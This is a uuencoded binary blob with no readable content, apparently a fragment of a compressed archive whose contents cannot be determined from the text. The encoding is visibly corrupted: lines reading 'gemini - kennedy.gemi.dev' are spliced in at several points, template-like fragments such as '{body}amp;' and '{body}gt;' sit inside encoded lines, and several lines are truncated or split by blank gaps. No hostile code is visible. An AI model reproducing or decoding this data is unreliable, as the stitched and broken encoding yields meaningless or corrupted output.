M%V&DZ9L3Y6D)R<MA6<GH(LN#:4F<DRI6&S\[0YIOUT3M6^.H#6/@\&F#-MIL
M$V`W-B&('AZ86437YBD=NTY"-'I20RRTSIM9Y3'N$3]_&*<-=SFO$4OYG,ZF
MT`#BB`=O9%G\3NI'(;?I*?G2R9B\9$-O[K.C@PZL_<EI4K#>*90LT8&<,?K(
MGWH<P$WJ#Y[)\`DZQ],`,JG+0!]&AJQ.90X1Z'@LM0DI]&M*X9`4:H[.CL2C
M0U:*@]"N^KHZO1Q$_DA@(^'G<G(W-BXDBO<)TE@KNV,KX(I<K099$?ZQ<F;0
M93@R<<,9UZH0<:!#3/29IPQ5'UI+0)@W0@\ON9!S]CH?1\I8R.;4`X%>)2".
MF4:]!(%\P1$,/QT_-9@`$##(U\D@UUX<ZP@C?^$!SV*09\FTQN,P<3RP'UN?
M":#M#PHERMV,JR,5*$[L!2,)J*(3O&R@`]GPB'^<#6JC4R>R&-"/+N$Y?*2)
M\:#L!B>_NHXU0,G=7-?'D]_C.=8/ZGOTQL`?7(?P!WVJ^"TXF__@..0B((&/
ME3F^1SU.?5:GUCFFYG-]!$YU\X>;N(9`)B\"B7P:P7KS*0H=7B,*`MTZ2I-#
M`#J]/3<!"?I,#-LASG7VTCX6/VW1,9B^]\K<T'44YN8LJ1P'QT$[!E9PXH)-
M29<`+(2T6X;&C3X#&F+1Q\>4//<X\-8$E@6*K!H9[;)):S_L-#N]9JO95IU6
MJT-M&N)Z76D<M78:\YU.=T>JM1O=UHI:.=H]>?$88VA7'.<G'83.,E68]=)V
M)F&\*'`/[GDR=QF3;(U\L'C$KFTH49-164ATB$WY!.:O.>!.(>M<LPU)[=68
MSL'20'#94O"&'RHBCU45?<MKM1GA4I7W?73=BA<'ILF+DCPNQFFE?6&1YUK.
M+C.T=+\GW0AU`#E2]J:C6!RP'#TT\/01)N]BMF_(\I5?TF#/0P[K0]<B^AS9
M&X_3?2Z7/E*7.@97\,RR"].XR0E2:7]#+4I1A)S1*"YA0TOIA]H:$*KQ@]>'
M68"U@;[NQZJU4UHA'(^7%P:+V?)"6&W!Z(++<39RN[*96)1MZ<V<\U`?L]2M
M`WRTZW5\F[YEDEW;UA$R5J8Y+UOD$M3ATSE[S%2<NY&.%I%`)9C7J3^#2J`2
MV`O>*.PB)!\KM0*?VCOP3P?_Z>XT3K47DB4HU3'+;^?XQ=[+EX]CJ(2U#H-A
MYN@A];[2N4)=E.Z<;PDE^FADE`P$9-3.,O^D?0"@_46Z@B@&)G)04]</>/N@
M`VI]DRDK'/-Q&72N&XEN0C9#>J](#(<F<<+2`"N?[HC0%3Y9?N07'8\!&L6Q
MN&=R-BQQ^,AT?9_"0FE9:@4%8ZEY@(;O8;4/YY=:3*@'RA88L*V+5P$*T#NU
M][K_Y/`I6(UUP:V>?5W3/#\%EI\G$8JC12#*XC0


EJK?6>O!T+RUT?O=+NU
MM.'-$-DQI+,#DBCV#6,RSMEDTV%&<FE$PGCIB@*Y[CDDGU&`:0\`3#4>C^IT
MYKG`0*QP^`&W<<0_CF!/1:S"<;Y8.\W/(U@D#{body}amp;&45=Y2;P;I"BSE263FQ[W
M6Y:GB>8;<(!<W3IUYT!,RVK^5>TNDC`3>[:;C3T[Y'[?L2<M?YIZW4.M/O*_
MIDL=;Y1V\@P5DVJ[)MU\O%%?S;1N]H2^Y/F8J[L{body}gt;+.L[D=:82]XN==,W8_R
M3QZ-PGFY5)<*'^VK#;#*9.56N[5"MT<BBJ3K$R)5"@<6A[TP"LW+":&;%ZH_
MT([EUNVJMV]4G8C>;*K,\\6J/TC%<G&"RN;H&N+0--$F^T3VE6JG,#_7S7,)
MGL?Z)E\5YU]\]N4M5BD$9ED?'*:1;<%!,W\K?73`Q6H)5G_[FZ)-%<6DB$R%
M+5*RZ!9'ID5Y'\46N]?3.]?B>;9%DY^K6NS=NL4-N&!)BZNIBP0N:Z&8-9\<
M'ISLO3U1V.*&@'/\4(AFR73J2+W<8XSO7&(!M+UU%$QZ:9I4%;D#+4HVAP&;
MJ'(U2J/U,O>IM`=I23P]*JIHD@T7L;Y"JN\;L,($QCC"-?'3'%J<JD1H)'MX
MSP_UN@1O4\=)+F+`,L$LGX@<1C6P.#!W+8WI;.));:\XAC=C-HF&B5LD0X"/
MO@++_L$JUL4)I!42F+T]8BFE]]<H&$3L.QBM/Z,+/!*(YXITD%N&J,V90`^`
M],'SYG3Y&$^P^=:.:\7V&Z=&.ILQN_;X8J:=]>!2NP99#W92\VU;#4"#^(`1
MN73%'M41C\8V!X+`/CU!0Y^OURDZT8%M^Q1O`H<8)9&AXX]X@X+&`5/EHVG(
M,PC*CCME/44.3TVV!KJY"\HXWR!'3P[Y`BCT0=P<-%VH@HK^122#5[%''K74
MRR;\N*J>/17;+B'Z\T'FP",U$W4]8H>Z(0E>2Z.K7:.1SP1#O6KHST\IPFR"
MX8VG,^-==710UT)N=G!T\!3OR0+TT\7$FI*XGKWCR9>Y.C7KLHOQ`?A$0`I7
M5^9BE?@<?4Y=@6P-6XAA41DYJ.YS"FFEX&J]FC&JA(VE122>T&'FYC@){body}amp;T`
M,1L8DVX0?:BV:DWU(CR'&8SJ/%1V2N(,C_!:5(0WA<@GB)!`G]?W6.R`-[/*
MC*5-)XISC-V*%``/T/</"X(#9Q08X1&JR0E>NTM%3RZ`"+7R09$2YGX-64^H
M4IUQT'?N#)L]RWPKAIB2NK;NLW`4`=Z7YQ&*(AYG"2$LP4*35S&\(ECZ=K.Y
M]:[#SL2;8>G<QJW)S;E<LR6,<Y@=)]NX0L+,>6LZ?7C"6*UI=W*3)\@.-1MX
M0.`(7??&'8!^`.TZIA%)W#'R,=[-?KHPF5`"NC;,DE]+I/S5:J$-E,4DA/X0
M*\:A&_ALC=/%T-3[+58]AEKB]N.2>.,K=A@,#4:$=*;YPP$4GXC'E@2[\?_!
M8QC/MC7Q?L9:C<C3`AOU[>%/_['WY(0/R(V9I(Y>'Y[T7^_M/OU(GWY^O7^R
MQQ_WWNX]J:M7NT?]H]?[_]B%U_AY]^#PH*X:[;IJD2]-T5%=U(2YZ(_=&<K"
MQVKW67__8.]D)ULL_N'3!,1:U4U"OXJNDE_;[VJU7$W^0'^TEP@>L"71A4LR
MK2I=U-7QX9._@X8,0WB%.`DH%+3+S5?\N\Q^[?N!!C+%D[Z`P;1;\C)@-#!?
MS5PLY(,W+U_ROS5-$Y3D51^15SO*5]^KSN8F?GKPH*;^::COCU45K-NSJ@^+
M;3:OJPT@^/'S_M'>WM]KZO%CM6'7MEO]%7UHP]F\^AVTHPO_*V#+K=15MU9C
M`;=CVOWI\+_T1W>7WG9YM?NV;_,&8?#S[O[)+HQ'AB.V7)DK0P,R'@P)GE,/
M\K5KYMH&`_U7A?'ICZP]EB2AHC!.3F.`J:?,?1=<?1$8^'RS2:[WZ/5:DK[!
M*75EL2)JW;LOC4P%&85B.Z&C]J:S/RXYWF")JP\%`CJ_&M,-]C0`&IN#589W
MYMTH]BA<V3$.4F`[C/=#*:L3)(!:E(`8]@N7:,SQ*:E('EW`@H9.ZL'1<5P)
M7K+9G6)"@`E=50H'VH6.7LQB>@F.*G!DQQI3PH`8$]\D"]9YF^HG/$7$X9[B
M;H`I8\;\_=S3@;OGL&VQ_JVO9I%0U_0!^B<I14S2$MH/2(W$LU=S$[%.I731
M)WOB5C>I#H@:9M-.-<.3$,]I/688/XX77O&<4E]23Q5$?<UHA:ZX-PQ3K#0Y
M=4V&1>5._`*(3??LB91#NK.,ROTHQXULH%#V&T?F65_:S.@20!TS*#=[EY.S
M?%$8N$Z!E:<+EFEB:[/%#U"=2"PFA[D\#E&I((N(7'?Z_%5.,'4N-EP\F(+%
MLS=(3+_"B%/J+S=/&,?V[8L&,,$=&\;XGB_VJ)4)N3WUD34=\*[H^'4K_9R#
M_VI29WJQ.S&1`)A<AZPT5##2(SVY:JN/C/7E(SI%X..*6;@(B#6MK(3H_&++
MTK+WSGP/KS>XL4-A]WC-?TR'][`5T9U9PP>@6R`D?8>,M`^]PCF'4SB;4W(M
M$%-3%V\_X*F_SG25WJZTLI6198<\A*'Y$JY,]W\G="'U,EQPY()1XR\YLUX2
M@6DDM[P)$9-6B>XJQKX.'T_%&J;^PL@`K,WK%0_!V#]<=6U^S09,1U[*OQAY
MS=SHS-U$["=A858=21`9DJ6F6DT?I]%1"^9DX\-T


gemini - kennedy.gemi.dev




KOPP$%C40A4&:,>:(`
M>3]B8ZVN69>.HZ&%/\?$751B[$HKP,HA\TK'{body}amp;1S'<:2"$-SA)7V#RTF6O79
M-#!ISD!<;G3%<83A*N;&8N319;P@Y$1M8,>-$SX@H$*\6H'*/Q@[P!E!LI,:
M"=*2+M<!^1S-GGD0A-HI;$,1Y9;:A?WA#/5=FA"^5H[J^#EGRT&+]?PT=,BJ
M%%N`\QR:$U:IDAZC4S%=R]-&EYVP3-+0G7*B.=@/DW!!80BTAB=AB.<<4\Q.
MD+D::Y(K,E.7;]LBNN6&9C'!#$732&8V;^I-7(RMUW.;S5OIF/R?F


E7'V'
M3#18@+23ZKF\E@ZF="+4EJ:,H0LITSX%2318Z&$R*-9U3I-DOKV^'L/JPON+
MY*AJ`JNLDUOAS%MOKW<WMGK=K?5.J]5MM#N-SB/\N-%HM1NMC?468M!Y!R@1
M=^]=U0FF-YV?1FB3AM%D'607?I__.'_<ZWSG/MY"4-UWZCE)X/V`1G7,EYN/
M6$(7P&6RI:Y/2#(3F0KI/IU"_E>3_U>VD&^?_[?5ZK0W,?_O9J_7:V](_E^H
M?I?_]QL\SA[/.QG*50X92+QHAEDB\'K+WU1S72QM#)FA6A(LD%937`]U7CO*
MIL-1-J1!IV?]*V")!6?MQV"@M7?@4P<_=59*N?/N^=H/K?\X^G?(_[[YL-?I
MM#I=RO_^L'N7__U;/&;^)8O0\"OT<8W\[\"T:_G?;6VV8?X[#S=;=_+_6SSK
M:Q@;H_"?ZK!F)VA7ZRJ;AEUAU77G;^+S4=_'R<@/FZ<_9%]-_4'^'7KN<^\N
MXW7)>YIY'Z`&Z"7K?E"LCR9&]JT710$AX*ROJ2>4GHT<X^/4R4]9I<71CT%"
M>%H$AN44YAS'POZ@2L[%5ZEL,FLZ#MY!0)NNBA]@^QK6R6^LUM;0-UM3SC^=
M"KU`-^/&NQVG@A7)ZQG0OSZ\ROD$)7X)"HJN5?+QVDVXM\%BO.,`[+%"G_`0
M_:7H^:Q4R!(95U?>Q'BY[;=@I;9CO?TMN1]+C#(4U2G6]]?6.ZJ#J6NJZ+2M
M_`F0H8,KG.,%%^CG><4K3N4*GWCE9@[QRA7><")4]6;^<'0C-]I"34J\4UV1
M-K65E%+$:YI:"/XS/>AEW1+(*SO->=S+@$B5*\%4KW'2E\&5NDOA7NW1KU1N
MYLNO<,6;N.\KT"WUK*$"#U_OK:]<%78($,A-7S$QAD4G/2U%X&#CG:]4;*<\
M?#.^^$IE&_\GSSLTTTYW!EV#(D(H\I)%%"A:BW]^:R78[/]RK^IBJ]?O=IK'
M7[*/J_?_=K<-RI[9_S=Z:/\];-_9?]_D@8T3]_[_PB-:=%#Z,W="]U%T:FWM
MS.>O/Y;5S*4;H5]SX'R'VS76&FZ@6ZP[>?5`#JQQ>W=039%G[:HGK46N*8EI
M>TM,K:KPJ@O[YDUAP=I$[PL"HC!5B<:L.`Y>^0?50;%@=_`(,KMAZ^#,O?W^
MP?[3O8.3=SO4X2N@V5"?/M%O%"2<57<<XL'\WG3<[?1?N-,Q5O;ZV,]._GA3
M!^9R1D9,EE#24KSIN<:[UL4ST^CG,!IQHS,O0M?JSO+NI$;:XR[N=]28;F06
MD-VS[G*>^5&RP'1*<M?)`#D<$]8`9(ZW)@I`CLHRAQ`^$N!>`BDNA71<=N^C
M%%)*E?'4G<1E.*&+/8P:YE<&J&+99'BGJ`CD02!?"1ZDFOH8M(&Y*DL@S/5U
MDYT<#D6Z\.U9@E@*")CO9@1F0$,Z>RF!%)>B5$K@JU&*2U&Z`M`5*/'-F9VK
M(,E5-GVC:>1=.'\*I+U3U+T=E$7KZQ4K]ON0F"/6]@)?':9U#?I**_OZY)<C
M,"`J[5[V]:O=)R]``<62K6S)/_9>'^\?'D!))P>*+B?C^XWL^Z,7A\^>X?L<
MI&-YW^UDWS][N?O\&-_G<-I[P=9.9:.5[T!NTF-9)U]V\.85OM_(=VZUZ>7+
MI$T!85#$#YZ^K:#%A5*^HCGQ6/(6\`242MSL.ITO$98:4%90:CDQ[_.ZS[?3
MK4I%@Y9Y\_X966O+NEPJ[U(`\RL!S$\OZ;YA$4(Z:OJ)@#^6X:\%"_]82;'U
MS)L5&Q=:ZW#78N>EHM$0+RL/TV:4JV]ILS3GGUF81YF%F;L=(8M3&=8ZLI9A
M*_N6\RD@)V;?4YH{body}gt;+V5?7TDK]N=['M.BY%=Y6DBA>Q*/K)78"?7+R4IX)5<
M,K(3X-FT/E^ZJ&"O]DN*,,>17J!*Y5CPT_6(`L$?X_K!G",O]P_>O#7U,)<*
M`NUN5


gemini - kennedy.gemi.dev




9M`QW]5%IT_V75X=OCLEA@F>58QO83\=/"Z`VVNV.!O9L_^W>4PL4
M0*EH,"FNS\7O@L-HD^.E.9F&`\[{body}amp;B5].K_2KR2FFO^`A;6^;@6WRTTWOD,-
M6@<'D.<OK?*9+[;$K87Z0B7$P$V0>'CWQZBGP0XEQ2,'.5,IYL$F0#8<>IT
M[;8L1%55,<.$4YF'\VD%LTTXU/:`,MY[)GPZAW'YC40`=0&@,(U%)=T.3`Z+
MT46%_2O<D;RI<(>BM7`84@Z\4Y+(K/*I&<P8/3MO686`?5;&LLKM4Y55,+M1
M)9N@K/+>JY0D);L6O>NSD140+*8A2Q&RDH\5,)*$8Y4;9AI3,N'Y%#B5][-Y
MI9CWAJ?B=9H8WDX%EN:BD&Q>JBK4JU$:$[7N*#<>9'^*;,".9EU:!5M2Q8<
M!,>AY<+F=5XO(5TXS>9GJ90DK\DEOZF4)W?2A+!3A%4P=5,EF[4KGZ.IPC7Y
M\[UV%AM*U42XRWRA95JQ,C1)KUN<:8;&?DRGI-OJ#64FT+\L0H2>2QYY+S#I
MU5)NT7P"($R8O$1X:UM<_PP8KS+$LCS73R4E99%.F$TM3R<>K"10*TN>INFC
M<Z9QBS136AFEZ36+(YT5K:))GGZ^U]'=YS.?+2.VSG)6F/'AA:RR-*-9Y?TD
M76%V&C/>/.AG:UY9T\13E+VTG9D=0;I5\JG1-A\I3QE_495[#Z^>$)L-;;+F
M&=CP;Z6{body}lt;7L9*EY+0YU(C%<K+.AM6+/ZV@OF$,OD#S.>$I!2K%IYK?<<%NU
MQU?,'&85%M-:938L_(Z9IRJ2=@J1V[6WWKHR";G2>_^2CLNZ$T-^?=5T&NE
MH^+L%(VWDIL$[V51MNOHNJJ6ZC6G+,/7[0BP3`Q>M:Z1RGG"T7Q>(@W>E_\8
MI%.:4\OJHY!)R](]"OFS*IC0JI)FS=+?=:XL_5UGR-+?=5XL4R[9L&@J)`56
MRK_;17V65H!FP6ZOBI@B3J!KR9[;DV\D"U)8?<G?+TTW6FE3S;0;&^:=8>2-
M+?-NI-]M=LP[,X6;*2IZ.';G>.&H!)EM(P/BN2U#[VV(2,W!V*:#1Q016RW3
MU+VH=P1+4CU=.FQ8HL1K^EG=X%1K&8-3:_7`NT>WIVMIX$:WK^34];Y'`8CF
M\_9=M,^_PV/.?W0>M],OW\=U\1_M5AK_T<$XH787;,"[\Y]O\5#\QRVB/S#2
M@HXV_/%E-H{body}gt;A8:,E=RPJ?;[?G>KU^_7U,>/YB6^JAFK?_?UDQ=]/IL!J3'-
M-'9GH]Y&KG6?3B?I=1%&;\-X%6P4Y7>!"LA-,8D=`?+'0;ECQ'HC`C.'XS-0
M&T%R%K`\\)*RUX=S+^#WF4YM!XKY;B1T:7?Y^OUGK_?VN%T60X-)H<7!WDE9
M`QO'7(O#H[T#&[>\"T>GX9#'N*,L^-:{body}amp;_@5X_L1SX]^SV=WE<I*[F1Z)0/2
M3%(*\.3P2)QBK8LG(F-R`\W1+1VLW?:G9]RZ4EG2FFE8WO%/SWYZ=D7'0LSR
MCI^D;87&&1@6R]>*'C2FXM5D[&U<3\8,1EM6J&:>`?[5$NSN^9S'[/\8I?U5
MHC^OW_\WNB;^O]MN8_QO9Z/3N]O_O\5S\_A/]64#0/T)F*44W'%UB*7Y@BD!
MK7C+M7F[#O]T\)^NA%WZ%)BE@Q]_77NG3LA#,<G:Z1(EJ>M10.5C==_7(9+#
M7.D9EEZ8`$HL'8=1)M:-8%C!;G;K7^_[[[#JQ?WFUA2S.@(<7V(Q_7>U'34>
M3\'(J@+IPD62B=^\'Z=AF_X[CK3+!MHA5:"HK&\J*N];6MVD;U.58^U,9&E@
MDQ?]MYJJ;>A%$HO"DJ97G?05K/,-?(<'CUY2Q4E<W5VM*ZFJ7\.TKOZTBC&.
M7%UW2]!I-#*8>;ML$+DQ8"4+1B</HW,3&!UZV;6&HC'&Y(CS+E:1-`AI5]U\
M5]V;=-4E%@-UKRJ86S3=:F\116!14;]`P!69!LYC@[%9$66@07=9&'@_KGPI
M"C)*G?R<;K0>]6R4.K=%Z=,G9!E#LGB)<RM=%C$75H_WG__O-_L8$;S_O+__
M_(!R4Z1AT<Z?_Q-4FX+]_Q54@.OB/S<WN[G[/]W6P[OXSV_R2/SG%]S_2_;Z
M$IU@$?CP.OMN/`R2Z<WNB=#[Q"UY6[PELNQ.B1O-W74L67*IQ'HU'9.F8MZL
M&&_9RA46KHY92H/+\.-;"3/+EAZ94HYUN<+DLQKV-JX""Z5%L&RTT=5NM@BK
M(.NLK^B;Q5?&#LRDTE55RYO;4#I_#`-8X!V4*OU&A"AM>)8>N#./%).QB&&8
M=Z`Q[!&9.RN%4KZ[DDVSCV%,N33[OP6\&^B>RD!AUG56XWY#C:RU0Y=1F\TF
M?CCX;:5./]P936*J`?\M00G@2)[\WU"[:NW`/PP'/F@XI@;"*8>$EP247+R-
MM^76`(VW].[L;^GEV=]6X%O)]5G"N;(4#!U!_[;2B$]VTB*")4C62?%C$F:)
M2?MAFZ\FB"8>SZ?PCK]`YZ*A#T_M7$Q2-?*2G=P["N@!K1TX*"T2[=W^BD&A
M:;IBSI?>3JMDM&#`(E6"2_-!28W'CPE/@/;@@04=T,3[((*TSHLOMW?X;0TF
M'Y%XH-HUJR6-AG\X80EN:!Y@PT)R*_W@4B(`P].H*M0!)'=*QP&5:T0[.WM\
M^L!`:)B,5[%<HXL`'MCD_-.FQ:^`+P+!RT!9*BVBH`I_F!VRUV=()/)1I^$-
M^FG+Y<9<:LO1;;C4_H/B86K3&;-``+;JVMU%RAW=Y6$#[X$N8$,02AJ/]26L
M["T>O./#+5L[2M]>$DL09XU,+OS^CK\,8>YVI!IB9YM?^/T=?^%JEHU&=1NJ
M38SP@W!$HR&6FB"81%,OJ&I+BR>F8M1I7&&6%5;1)I]AV%K5^.J@JVJ.%/`*
M;QM1T_5U56(=WI^3"/5SQE[%&@91YF;#T,9JV3`L0[8BGS]S&):!G0XC8R\O
MW9\KFG=,_SD>P=+OE,2RC,=H%%RQ+=\.V#@#E#?E*QD6Q,_63EJ'F1"%$10L
MXW!MFVH.JM^@6<WNA*;]%IWP&K^^F=W)-<L38=%J%NES%8\8%OE3-)(U#/1!
MI4%F!3_R%H>B92W^@QA87\\$?1+^@<ZX+>U=)(/&(W.GE*Y-8C+A:@KKL/_Z
MZ>'!RU_,O4E@4<&6KE/JQF/LH8IW+;^+D\P=R^$TC#TH(>[.-B6O"V!*,JX9
M)_3;`')M$UPO*'+5S>ADG4Q-W,'MZZPUY9UW3"5XM?=</ZGI@?^.$8^9,=
M^T7@G>]H*;Z&=\3ZV"KW"GGOJFO01GT%F!@O([WD7W-?1IL%Z/-\;?L]5\=1
M:<R%=N:=_JD%RWTHM[?+[V;'T9E]"_O['LXT:[W6S6JN\->J[I4<)<*&5*W[
M#C@@@U.MEKUK:^HOO6UKZ"2_@B%$@%5E%51MFN2T&JL(EZF!AS\L0)>$S'9G
M*S+%:AG/HRYEN6X(\"#?#G\:YP$(H^Q;_8LZ:\HW.U#F%SY(Y;DM4C@9-F*-
M'_2E#T`A7\"W*=0/V5_B4'@M.8?)+4'R>#(P'CQ.M153I'^<22W[=2:M"YG?
M#&D5?C:DDOW!EKJ9B'J65'PMC91\62_I3ZH@2L),@M4M>4E^O.4:5K)K%3@)
M"E-&DE^>R32RV<B\S'%1Z?Q34#?(7QW8S!?/]4Z6]EW/S&8]SVG2%753*?Q*
MC@4G99"ZO2K*>:B^A(6HFS_IE^D-ON0LM_%M78GDGY;P*/\AJ\J2W["J+/GY
MJLH5OUQURSDW$Y6G&<Y42WWW79ZBLEBQ-$T*0./3^Q!NFF2LDMS=`/JL[JRR
M52O;4K;&IJGA7$G=/+.1'9)%CFXQ`73;+$IY([.JTU\NJM65P5T^DJ54!,\<
M;*(NBA4TZ?*_D911H,IP+NGL3%)KE%4OUI[?JK:>1'4=7L6F='GM1BWS(O$+
M_(;5E7DDRG^^JO()OUP%0ABTCF694G31DD0I'4Z4HFME\Z2@YY,^FZ0JWRAQ
MRF?]>%9IKQKBTF[7US@A<_HC'W)9#"^C56[P2USKZU*KL[2.PKEB13XF33Z?
MV>-?[>HO?<KR?V!XT)?LXYKSGUZKUT[S?_0H_O-AIWUW_O,M'H[_^.^;Y_\H
MJ_IM$H!4KL[642FD_.AM4,J/W@:F_+BF=7FNCZ^:Z:.W\:F9/C(MK\_TD;;Z
M]%0?T/CS4WT`D"^4ZB,#Z;-2?62H\DFI/C*S\4FI/C(0/B?51P[09Z3ZR$#Z
MG%0?.4"?D>HC!^F34GU(2@$Y-[5R?0#<:W-]Y-`N2_R1KZ+S`PRR64"R=<KS
M@63JE&8&R?55FB4D5R>?&>2XI$X^&0CE+LC7R>',F42R=38+B4/DCIU=IX#S
MP9M7N;XV"\E$2N`4$HL4X?1:^3J<?"13I_,)64@L$7*++"295C=/I&%)OMLG
M+[&D^*<E+\D`^*3D)0#A[3F/^Q.2EV1:WR9Y25G[VZ4AD6B*Z]*0%+.0Y#O(
MYR0I65\JGY^$[XOFZN22E=`UT5R5?'Z2HY(Z^9PD?',W6Z>;2X!"UT[S*.?&
M1==&\W6V,C=&*&U$@3[%]"9%$BY+=I*O",+CZM0GA>ZIE?P2;DD.$Y,<Q?F$
MY"BEG6&VE"6=2<*49?E2BK#T[8_;Y$_1C3\YC8H%X+.RJ5AP;IA4)<*D*KK9
M/)S_CG_O1Y^77B7"]"H:Z"P\(Z!VHI6(+CM'HPL['X7IFDNDZ)J<*Y^0<B5:
MFG(ECW(5$4%$W0O'INUGI6"QX-PR$XMNB7>Q\6\V)XLN?>_QWY+\+#<=PO5I
M6I8-HIBMI0QI*V_+E5C?,H=+@9GLI`0VLV%Z6;LS*S^!-;"OG-W%ZNE3D[S0
M(.T$!\*N([]`"CO5P?)::0J03&D@I;G8"TJC85?$F^Y8L_1E-B,,`^2D,!]X
MA1E.01


CY5KHX!GNP=M,.N&1<7/3!=C0;HV:\SMYB!3*SL'5@Z=]?5X,?@]
M,P>QK]('\/KO_SH*H]\7WH]%2N),/"I-.%.8!YUY)@\#<08H@XL;3OR@3'H_
MRA:D'%'R\EZGG"-TZIK;,D5G@YFB4)!2])$MCRR4K7EX/V%1]`5SW10&WKK1
MJT:[^([RX13>/KPEKY50)BY;QG&1B85+XIN*A^O@FC'TEC##)[%"3UCA"V7E
M*:6NSL\CY!U>E%?3B6J6SX+H/%8)9J`10)B$1K_^M"0^=O.K4_D4V>.V^V?E
M,Q/\?#$*?K9DMJ8S-QN?D1*HM%])#J1'5]SA[31!HCE;V%W`EL`T<"^R"R4M
MP51"M@1.2S")D#VU:4F<6^96&S]+1:L?G(7!O*3D44;XIN_;*"/:K;*2-I:T
MRTHZ6-(I*^EB2;>L!`5">Z.L9!-+-@O,O494=E"Q8"FCSB-4!Z*KDRAI,%?J
M0DO$XJALXVP7=X;[T5;)NT<%QNEM5)&AEC#]PXXI+5DX6ZVT;5&R;6V94@L_
M7?JH9TJW"H7M5HI5BG)>DJ^O<WV<A+I."E5BJ#XJ>;=5\LZFHGEIT]N\M&<F
MK6G+YF7YG[2/H9BVZ2YKT_^_#YW_#_S@W^#WWWK=UD/Y_:]V9[-S]_MOW^*A
M^7\%1C\ZV;]2']?D_VAOMNG^;Z^SN;'9ZW8P_T<;Y_\N_N/K/T^>*/,\5I/A
MT-D_>/+RS=.]8W[3V,?@(.?PZ.0XK=8X[#A/]WYZ\SQ],W&>6.<8C]6]*C:I
MP5\-K^8X+T$3E-]B@2JYO$ZFM+>1*\5X),<Y]:;S;:>"X/^7-SP-U<J)&TV\
M9'LE\S+[3:TISO3%O5Q1V-LH%`[B46F[%<>Q@6YKESE>UN2*]ZI/GN#8F28U
MU7AJ5"R%]+Q734E14YGK]ZH1XL]RZQ<,;TA1-9D?Z752[&Z,`&SSM^R^LKQ_
MFW2?10*,S_DT$CC<ZW9YC_:O6FJ0_-U!-)>T:N`E'7^HTIQ(NBV-S1E./3>0
MMM%,-<94MG;WZ[5WS]US]]P]=\_=<_?</7?/W7/WW#UWS]US]]P]=\_=<_?<
7/7?/W7/WW#UWS[_#\W\!\B#2U`#P````
`
end